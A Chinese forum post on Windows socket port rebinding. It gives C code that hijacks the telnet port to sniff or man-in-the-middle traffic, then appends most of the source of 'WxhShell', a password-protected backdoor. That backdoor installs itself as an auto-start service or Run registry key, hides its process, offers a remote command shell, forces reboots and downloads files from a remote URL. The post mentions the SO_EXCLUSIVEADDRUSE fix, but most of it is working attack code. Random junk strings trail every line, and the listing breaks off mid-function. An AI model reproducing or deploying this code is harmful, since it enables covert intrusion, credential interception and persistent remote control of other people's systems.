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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <3bh-)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2gGJ:,RC$  
saV` -#  
  saddr.sin_family = AF_INET; /dqKFxB1  
|F<aw?%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ec=C7M |  
I2 dt#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8yo9$~u;  
$ ]HIYYs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g`j%jQuY  
2I7P}=  
  这意味着什么?意味着可以进行如下的攻击: d2Y5'A0X  
a AuQw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !ZVMx*1Cf  
Y5 dt?a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }?JO[Q +  
Q pX@;j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YpL}R#  
x R.Ql>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^o 5q- ;a  
L,<.rr$:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^:],JN k  
P7o6B,9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F ;D_zo?  
V)`? J)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _#_Ab8#  
+G~b-}  
  #include qH ~usgqB7  
  #include bchhokH   
  #include Di6:r3sEO  
  #include    iY2bRXA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nl+2m4  
  int main() 1/m/Iw@  
  { pmS=$z;I  
  WORD wVersionRequested; n'gfB]H[  
  DWORD ret; ?`r/_EKNv  
  WSADATA wsaData; fq(e~Aqw$  
  BOOL val; rLnu\X=h$  
  SOCKADDR_IN saddr; /~yqZD<O  
  SOCKADDR_IN scaddr; &jJgAZ!  
  int err; q\,H9/.0k  
  SOCKET s; T:ck/:ZH  
  SOCKET sc; 5HU>o|.  
  int caddsize; 2{& " 3dq  
  HANDLE mt; $=bN=hE  
  DWORD tid;   pUmB h  
  wVersionRequested = MAKEWORD( 2, 2 ); yE7pCgXt  
  err = WSAStartup( wVersionRequested, &wsaData ); Np<Aak  
  if ( err != 0 ) { ^Z!W3q Q  
  printf("error!WSAStartup failed!\n"); I/tzo(r  
  return -1; jsR1jou6  
  } \Q6Ip@?  
  saddr.sin_family = AF_INET; =k_u5@.Z  
   K!9=e7|P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DW-LkgfA  
'>6-ie^0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L.R  
  saddr.sin_port = htons(23); u/zC$L3B(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JB-j@  
  { :$WRV-  
  printf("error!socket failed!\n"); N_ >s2  
  return -1; 6/z}-;,W'  
  } K.%E=^~q  
  val = TRUE; yZ 9 *oDs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OLi;/(g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >}9TdP/oT  
  { uODsXi{z  
  printf("error!setsockopt failed!\n"); \DHCf 4,  
  return -1; =nsY[ s<  
  } #Kl;iY:n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8P*n|]B.'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n0m9|T&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cO8;2u,Gvi  
i{8=;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [bcqaT  
  { eQc!@*:8U  
  ret=GetLastError(); e nNn*.*|  
  printf("error!bind failed!\n"); N*xgVj*  
  return -1; ^;2L`U@5  
  } \)v.dQ!  
  listen(s,2); 8(A:XQN"h  
  while(1) 'Go'87+`  
  { i2*nYd`K  
  caddsize = sizeof(scaddr); /L~*FQQK>  
  //接受连接请求 M}c_KFMV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $xl*P#  
  if(sc!=INVALID_SOCKET) " JRlj  
  { WULj@ds\~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $^l=#tV  
  if(mt==NULL) /Iskjcc60W  
  { i.< }X  
  printf("Thread Creat Failed!\n"); '%MIG88  
  break; JWBWa-  
  } D|S)/o6  
  } 6R<%. -qr  
  CloseHandle(mt); xs:{%ki  
  } R0|X;3  
  closesocket(s); u Qj#U m8  
  WSACleanup(); we@bq,\w  
  return 0; |amEuKJ  
  }   R|vF*0)>W  
  DWORD WINAPI ClientThread(LPVOID lpParam) H(X~=r  
  { <omz9d1  
  SOCKET ss = (SOCKET)lpParam; ks{s Q@~  
  SOCKET sc; \kRBJ1)|f  
  unsigned char buf[4096]; |joGrWv4  
  SOCKADDR_IN saddr; ZDb`]c4(  
  long num; $?A]!Y;  
  DWORD val; J h"]iN  
  DWORD ret; <HD/&4$[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QSLDA`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w\M_3}  
  saddr.sin_family = AF_INET; q&M;rIo?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mqpo S  
  saddr.sin_port = htons(23); Nr)(&c8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {tMD*?C[6  
  { A#i-C+"}  
  printf("error!socket failed!\n"); 2H /a&uo@n  
  return -1; 7KEGTKfW  
  } L`!sV-.  
  val = 100; nMnc&8r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9xz`V1mIL  
  { OlK2<<  
  ret = GetLastError(); lojn8uL  
  return -1; h~1QmEat  
  } &><`?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fx|9*|E  
  { 4S=lO?\"A  
  ret = GetLastError(); #Z.JOwi  
  return -1; }a`LOBne  
  } '-x%?Ll  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J0oR]eT}  
  { EAI[J&c  
  printf("error!socket connect failed!\n"); +2g3%c0}  
  closesocket(sc); ^J G}|v3$  
  closesocket(ss); ks;%f34  
  return -1; (y36NH+  
  } }dxdxnVt  
  while(1) F&P)mbz1  
  { 0eLK9u3<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^\I$tnY`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?{2-,M0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ALv\"uUNu+  
  num = recv(ss,buf,4096,0); -1o1k-8d  
  if(num>0) 4{R`  
  send(sc,buf,num,0); n5 i}J/Sa2  
  else if(num==0) jHzy1P{?  
  break; &qC>*X.  
  num = recv(sc,buf,4096,0); E% 'DIs  
  if(num>0) y6s$.93  
  send(ss,buf,num,0); ,>^~u  
  else if(num==0) ]]7T5'.  
  break; 7%'<}u  
  } |RmBa'.)z  
  closesocket(ss); ?m!FM:%  
  closesocket(sc); .jKO 6f  
  return 0 ; o i?ak  
  } M~6I-HexT|  
/<C=9?Ok  
NWvxbv  
========================================================== 2V]2jxOQ  
5J;c;PF  
下边附上一个代码,,WXhSHELL 'UyL%h;nJ  
n*1UNQp@]O  
========================================================== oMPQkj;  
1K`A.J:Uy  
#include "stdafx.h" :o:??tqw  
*" )[Srbg  
#include <stdio.h> u"%fz8v  
#include <string.h> )\(pDn$W  
#include <windows.h> G$j8I~E@  
#include <winsock2.h> kr?| >6?  
#include <winsvc.h> A3n"zxU  
#include <urlmon.h> *}J_STM  
w&{J9'~  
#pragma comment (lib, "Ws2_32.lib") yV. P.Q  
#pragma comment (lib, "urlmon.lib") . ~<+  
5"Yw$DB9  
#define MAX_USER   100 // 最大客户端连接数 tu'MYY  
#define BUF_SOCK   200 // sock buffer l.BNe)1!22  
#define KEY_BUFF   255 // 输入 buffer D H^^$)  
8vo} .JIl  
#define REBOOT     0   // 重启 erqB/C  
#define SHUTDOWN   1   // 关机 UOwNcY  
!S:@x.n@iR  
#define DEF_PORT   5000 // 监听端口 IFY !3^;zO  
!=we7vK}  
#define REG_LEN     16   // 注册表键长度 cMv3` $  
#define SVC_LEN     80   // NT服务名长度 NSq"\A\  
-AE/,@\P  
// 从dll定义API G!\x c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S%oGBY*Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v<wT`hiKW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  b\2"1m0H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F0\ry "(t  
&u8c!;y$b  
// wxhshell配置信息 =FnZkJ  
struct WSCFG { X&IY(CX  
  int ws_port;         // 监听端口 Q?@G>uz  
  char ws_passstr[REG_LEN]; // 口令 tTgW^&B  
  int ws_autoins;       // 安装标记, 1=yes 0=no v4$,Vt:7  
  char ws_regname[REG_LEN]; // 注册表键名 .tNB07=7  
  char ws_svcname[REG_LEN]; // 服务名 3(%,2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #!/Nmd=Nj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gUp0RPs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `Nn?G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'UxA8i(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0"`skYJ@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7L*`nU|h  
5 %Gf?LyO  
}; v,0DGR~  
wLbngO=VG  
// default Wxhshell configuration i`qh|w/b_  
struct WSCFG wscfg={DEF_PORT, `2PT 8UM  
    "xuhuanlingzhe", H<;j&\$q  
    1, ]_?y[@ZP  
    "Wxhshell", >y[S?M  
    "Wxhshell", jq)|Uq'6  
            "WxhShell Service", keOW{:^i  
    "Wrsky Windows CmdShell Service", ;Y\,2b, xh  
    "Please Input Your Password: ", UZra'+Wb  
  1, mxGN[ %ve  
  "http://www.wrsky.com/wxhshell.exe", V*}zwm s6  
  "Wxhshell.exe" %a `dO EO  
    }; k:Q<Uanc[  
3:Wr)>l}#  
// 消息定义模块 Xdt+ \}\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K }BX6dA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w C"%b#(}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PvwIO_W  
char *msg_ws_ext="\n\rExit."; CCOg1X_  
char *msg_ws_end="\n\rQuit."; SO/]d70HG  
char *msg_ws_boot="\n\rReboot..."; k 9rnT)YU  
char *msg_ws_poff="\n\rShutdown..."; $nn5;11@gY  
char *msg_ws_down="\n\rSave to "; D,a%Je-r,  
+bW|Q>u  
char *msg_ws_err="\n\rErr!"; @_3$(*n$~  
char *msg_ws_ok="\n\rOK!"; OB22P%  
?sYjFiE  
char ExeFile[MAX_PATH]; &v,p_'k  
int nUser = 0; Hea<!zPH  
HANDLE handles[MAX_USER]; hT"K}d;X  
int OsIsNt; E6M: ^p*<  
=L%3q<]p  
SERVICE_STATUS       serviceStatus; [<QWTMjR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5eA]7$ic  
m12 B:f  
// 函数声明 9DX3]Z\7X  
int Install(void); |U $-d^ZJ  
int Uninstall(void); tpONSRY  
int DownloadFile(char *sURL, SOCKET wsh); <>s\tJ  
int Boot(int flag); 6^;!9$G|D*  
void HideProc(void); lvi:I+VgA  
int GetOsVer(void); Ck?:8YlF  
int Wxhshell(SOCKET wsl); W?-BT >#s  
void TalkWithClient(void *cs); "M^W:4_  
int CmdShell(SOCKET sock); J-F_XKqH  
int StartFromService(void); kB#vh  
int StartWxhshell(LPSTR lpCmdLine); "6Uj:9  
i5Q<~;Z+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }8 _9V|E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J_ |x^  
yan[{h]EZ  
// 数据结构和表定义 KTt$Pt/.  
SERVICE_TABLE_ENTRY DispatchTable[] = Xkom@F~]  
{ (14kR  
{wscfg.ws_svcname, NTServiceMain}, B}+9U  
{NULL, NULL} &Q>'U6"%  
}; nD\os[ 3  
X:&p9_O@  
// 自我安装 lVtn$frp  
int Install(void) 7"ps#)O  
{ ]xEE7H]\h  
  char svExeFile[MAX_PATH]; yuEOQ\!(u  
  HKEY key; ;bX ~4O&v+  
  strcpy(svExeFile,ExeFile); shIi,!bZ  
#%b()I_([  
// 如果是win9x系统,修改注册表设为自启动 F  t/ x 5  
if(!OsIsNt) { s$x] fO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }TJ|d=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X@U 1Ri  
  RegCloseKey(key); CL :M>(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ag0_^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4!vUksM  
  RegCloseKey(key); =@=R)C4f*  
  return 0; } <4[(N  
    } NqE7[wH  
  } jMui+G(h  
} NP'Ke:  
else { t<,p-TM]  
g4aX  
// 如果是NT以上系统,安装为系统服务 5dw@g4N %^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oh0|2IrM  
if (schSCManager!=0) D*'M^k|1  
{ A>%UYA  
  SC_HANDLE schService = CreateService h^kNM8  
  ( '. Hp*9R  
  schSCManager, h!av)nhM  
  wscfg.ws_svcname, oV>AFs6  
  wscfg.ws_svcdisp, zy6(S_j  
  SERVICE_ALL_ACCESS, wn|@D<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^@L l(?  
  SERVICE_AUTO_START, I7z/GA\x  
  SERVICE_ERROR_NORMAL, p6*a1^lU6  
  svExeFile, $1zeY6O  
  NULL, -u9yR"n\}  
  NULL, Tv,.  
  NULL, 9$V_=Bo  
  NULL, VfqY_NmgC  
  NULL a {$k<@Ww  
  ); 0k 0c   
  if (schService!=0) " IkF/  
  { .L5*E(<K0  
  CloseServiceHandle(schService); G4%M$LJ h  
  CloseServiceHandle(schSCManager); m4SXH> o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I5yd )72  
  strcat(svExeFile,wscfg.ws_svcname); I= h4s(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8Gl5)=2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZQ'  z  
  RegCloseKey(key); C=aj&  
  return 0; Nwl RPyt  
    } %_R|@cyD  
  } ^Xy$is3  
  CloseServiceHandle(schSCManager); k.xv+^b9Q  
} @*O{*2  
} R5&$h$[/  
maUHjI 5A-  
return 1; }42qMOi#w1  
} #C;zS9(]B  
]n]uN~)9  
// 自我卸载 dFP-(dX#  
int Uninstall(void) NQiecxvt=  
{ l9NOzAH3  
  HKEY key; wQ=yY$VP  
 ]RX tC*  
if(!OsIsNt) { ,C,e/>+My  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2C33;?M  
  RegDeleteValue(key,wscfg.ws_regname); `TD%M`a  
  RegCloseKey(key); ?I2k6%a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h3]@M$Y[  
  RegDeleteValue(key,wscfg.ws_regname); Q@W|GOH3  
  RegCloseKey(key); %f_OP$;fc  
  return 0; Z: lB:U'o  
  } AK s39U'  
} )Z8"uRTb0  
} |Iok(0V  
else { {I9 N6BQ&  
7hF,gl5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); akvwApn5  
if (schSCManager!=0) E7NbPNd  
{ g t^]32$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yEpN,A  
  if (schService!=0) $mI:Im`s  
  { ZA_zKJ[[7  
  if(DeleteService(schService)!=0) { Y = g>r]2  
  CloseServiceHandle(schService); #ON#4WD?  
  CloseServiceHandle(schSCManager); 3aE[F f[  
  return 0; ^M(`/1:  
  } ]Z$TzT&@%  
  CloseServiceHandle(schService); (O_t5<A*X  
  } 2Z;`#{  
  CloseServiceHandle(schSCManager); mU3Y)  
} XAU_SPAjiw  
} ua$k^m7m5  
;Up'~BP(  
return 1; 3:~l2KIP4  
} 9!xD~(Kr  
f05"3L:  
// 从指定url下载文件 przubMt  
int DownloadFile(char *sURL, SOCKET wsh) }} ``~  
{ _/jUs_W  
  HRESULT hr; fY%M=,t3c  
char seps[]= "/"; Z.aLk4QO@  
char *token; Q k;Kn  
char *file; *qO]v9 j  
char myURL[MAX_PATH]; i{|lsd(+  
char myFILE[MAX_PATH]; BbXU| QtY  
dI_r:xN  
strcpy(myURL,sURL); W7TXI~7  
  token=strtok(myURL,seps); $h,&b<-  
  while(token!=NULL) }c35FM,  
  { Z[})40[M  
    file=token; T@Ss&eGT2  
  token=strtok(NULL,seps); VA=#0w  
  } M2;%1^  
S_|9j{w)  
GetCurrentDirectory(MAX_PATH,myFILE); 2;%#C!TG;  
strcat(myFILE, "\\");  `CA G8D  
strcat(myFILE, file); y|e2j&m  
  send(wsh,myFILE,strlen(myFILE),0); |6sT,/6  
send(wsh,"...",3,0); dXhCyr%"6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @~$F;M=.*  
  if(hr==S_OK) c_ qcb7<~.  
return 0; - - i&"  
else \'; t*  
return 1; "M9TB. O  
V~J*49t&2J  
} l$qStL*8O  
%\X P:  
// 系统电源模块 !cN?SGafZI  
int Boot(int flag) ;Na8 _}  
{ nW $A^  
  HANDLE hToken; Z]x  5!  
  TOKEN_PRIVILEGES tkp; &Rt+LN0qB0  
FE8+E\ U?  
  if(OsIsNt) { ){O1&|z-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HUU >hq9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kf05<J!  
    tkp.PrivilegeCount = 1; &*(n<5 wt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2I]]WBW#:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rV8(ia  
if(flag==REBOOT) { |'U,/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ";)r*UgR{B  
  return 0; &\[Qm{lN  
} I%;Rn:zl  
else { r~Y>+ln.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *D=K{bUe'  
  return 0; 0)A=+zSS1  
} < 72s7*Rv  
  } Yl)eh(\&J  
  else { ERp:EZ'  
if(flag==REBOOT) { 0(Y%,q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A+0T"2  
  return 0; )3]83:lD2  
} @@xO+$6  
else { FasI'Ulk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U;';"9C2>  
  return 0; jo,6Aog|u  
} xZ^ywa_  
} 5 1o@b  
\g~ws9'~  
return 1; Jj=yG"$!  
} V~'k1P4  
\3%W_vU_  
// win9x进程隐藏模块 SW,q}-  
void HideProc(void) Hi]vHG(  
{ ojN`#%X  
a);O3N/*I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { A:LAAf[6  
  if ( hKernel != NULL ) Q?* nuE  
  { H{j~ihq7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wD<vg3e[H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]~?S~l%  
    FreeLibrary(hKernel); {[Uti^)m%  
  } %:" RzHN  
Jq# [uX  
return; 8_"3Yb`f  
} "NxOOLL  
J*}VV9H  
// 获取操作系统版本 i'Y-V]->  
int GetOsVer(void) r@|R-Binz  
{ T1lXYhAWS  
  OSVERSIONINFO winfo; ISpeV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e ZynF<i  
  GetVersionEx(&winfo); :6 Uk)   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ! (B_EM  
  return 1; 536^PcJlN  
  else S8*^ss>?^R  
  return 0; 5+y@ ]5&g  
} *w=z~Jq^R"  
/t$rX3A  
// 客户端句柄模块 ,"@w>WL<9  
int Wxhshell(SOCKET wsl) (3AYy0J%  
{ rQ=xcn[A  
  SOCKET wsh;  &|/vM.  
  struct sockaddr_in client; "(0oP9lZ  
  DWORD myID; ])N|[|$  
!IO&&\5  
  while(nUser<MAX_USER) jz %;4e~t  
{ p9/bzT34.  
  int nSize=sizeof(client); BD hLz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !$D&6M|C8l  
  if(wsh==INVALID_SOCKET) return 1; w|&,I4["  
:0B |<~lX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |$M@09,F"  
if(handles[nUser]==0) !-KCFMvT  
  closesocket(wsh); HvAE,0N  
else 2y^U k,g  
  nUser++; M,&tA1CH  
  } ; Zh9^0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); buRhQ"  
:[ L{KFQU  
  return 0; ~@xT]D!BQ  
} S2Zx &D/_  
!)NYW4"  
// 关闭 socket D`V6&_. p  
void CloseIt(SOCKET wsh) o(:{InpV%A  
{ )y6QAp  
closesocket(wsh); :}^Rs9 '  
nUser--; GNs#oM  
ExitThread(0); ] F*|U`  
} v,n);  
S<V-ZV&_:U  
// 客户端请求句柄 <BZ_ (H  
void TalkWithClient(void *cs) 1d`cTaQ-  
{ K-Re"zsz  
8098y,mQe  
  SOCKET wsh=(SOCKET)cs; }(m1ql  
  char pwd[SVC_LEN]; 4/b(Y4$,[r  
  char cmd[KEY_BUFF]; ,cLH*@  
char chr[1]; g&Z"_7L~  
int i,j; 9`&?hi49nK  
S3ErH,XB.  
  while (nUser < MAX_USER) { `a-Bji?  
%z30=?VL  
if(wscfg.ws_passstr) { gRHtgR)T3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z3clUtC+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  64SW  
  //ZeroMemory(pwd,KEY_BUFF); \e_IFISC  
      i=0; {JXf*IJ  
  while(i<SVC_LEN) { aUA cR W  
D2{L=  
  // 设置超时 2v4W6R  
  fd_set FdRead; SBC~QD>L+  
  struct timeval TimeOut; ?fB5t;~E  
  FD_ZERO(&FdRead); K6-6{vt  
  FD_SET(wsh,&FdRead); FzVZs# O  
  TimeOut.tv_sec=8; lBS"3s384  
  TimeOut.tv_usec=0; g#w`J \iz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s} s|~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tbg*_ZQO u  
3eWJt\}?B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2H6:np |O  
  pwd=chr[0]; \/n+j!  
  if(chr[0]==0xd || chr[0]==0xa) { 7vw;Egd@@-  
  pwd=0; ~)_K"h.DY  
  break; Cc2MYm8  
  } :Pc(DfkS  
  i++; 3+ e4e  
    } 5PDSA*  
,}KwP*:Z  
  // 如果是非法用户,关闭 socket -ovoRI^6`}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ea 2 `q  
} [O(m/  
0',[J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M%3Wy"YQ,n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (nq^\ZdF  
_p0)vT  
while(1) { f$vwuW  
?HV}mS[t  
  ZeroMemory(cmd,KEY_BUFF); ndqckT@93  
eIsT!V" 7  
      // 自动支持客户端 telnet标准   )Z("O[  
  j=0; p=H3Q?HJ}  
  while(j<KEY_BUFF) { s"q=2i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q<1L`_.>  
  cmd[j]=chr[0]; bf1)M>g,O  
  if(chr[0]==0xa || chr[0]==0xd) { a#$N%=j  
  cmd[j]=0; qIz}$%!A  
  break; mf$Sa58  
  } g &*mozs  
  j++; CG.,/]_  
    } S"Kq^DN  
f9a$$nb3`  
  // 下载文件 ##v`(#fu  
  if(strstr(cmd,"http://")) { 7LfcF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iKhH^V%j  
  if(DownloadFile(cmd,wsh)) V3Yd&HVWNQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G0Hs,B@5?  
  else 1 =^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sCkO0dl8  
  } Ch t%uzb,  
  else { b4)k&*dfR  
O:._W<  
    switch(cmd[0]) { 2$ tQ @r  
  yyjw?#\8  
  // 帮助 |kseKZ3  
  case '?': { *,&S',S-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9n"V\e_R  
    break; s%O Y<B@V2  
  } 4v Lw?_".  
  // 安装 >L=;"+B0U&  
  case 'i': { modC6d%  
    if(Install()) "W5rx8a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #3+~.,X9  
    else SB/3jH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7E\g &R.  
    break; T)~!mifX  
    } -=a[J;'q  
  // 卸载 \E77SO,$  
  case 'r': { 5B?i(2&#  
    if(Uninstall()) Im+ 7<3Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yz\ N&0"  
    else X8Fzs!L`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); toIYE*ocv=  
    break; !W /C[$E  
    } xCq'[9oU  
  // 显示 wxhshell 所在路径 tDt :^Bc  
  case 'p': { <h@]Ri  
    char svExeFile[MAX_PATH]; ^Q\XGl  
    strcpy(svExeFile,"\n\r"); qe%V#c  
      strcat(svExeFile,ExeFile); CdL.?^  
        send(wsh,svExeFile,strlen(svExeFile),0); ot }6D  
    break; #1gO?N(<=  
    } ;{gT=,KQ`  
  // 重启 O1'K>teF%  
  case 'b': { Kp&3=e;vn{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0sh~I  
    if(Boot(REBOOT)) )NIv  "Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iD714+N(  
    else { #ouE r-=  
    closesocket(wsh);  n}OU Y  
    ExitThread(0); |vz9Hs$@l  
    } 96}eR,  
    break; 1qZG`Vz  
    } 9@'4P  
  // 关机 hl]S'yr  
  case 'd': { !}t-j3bCs  
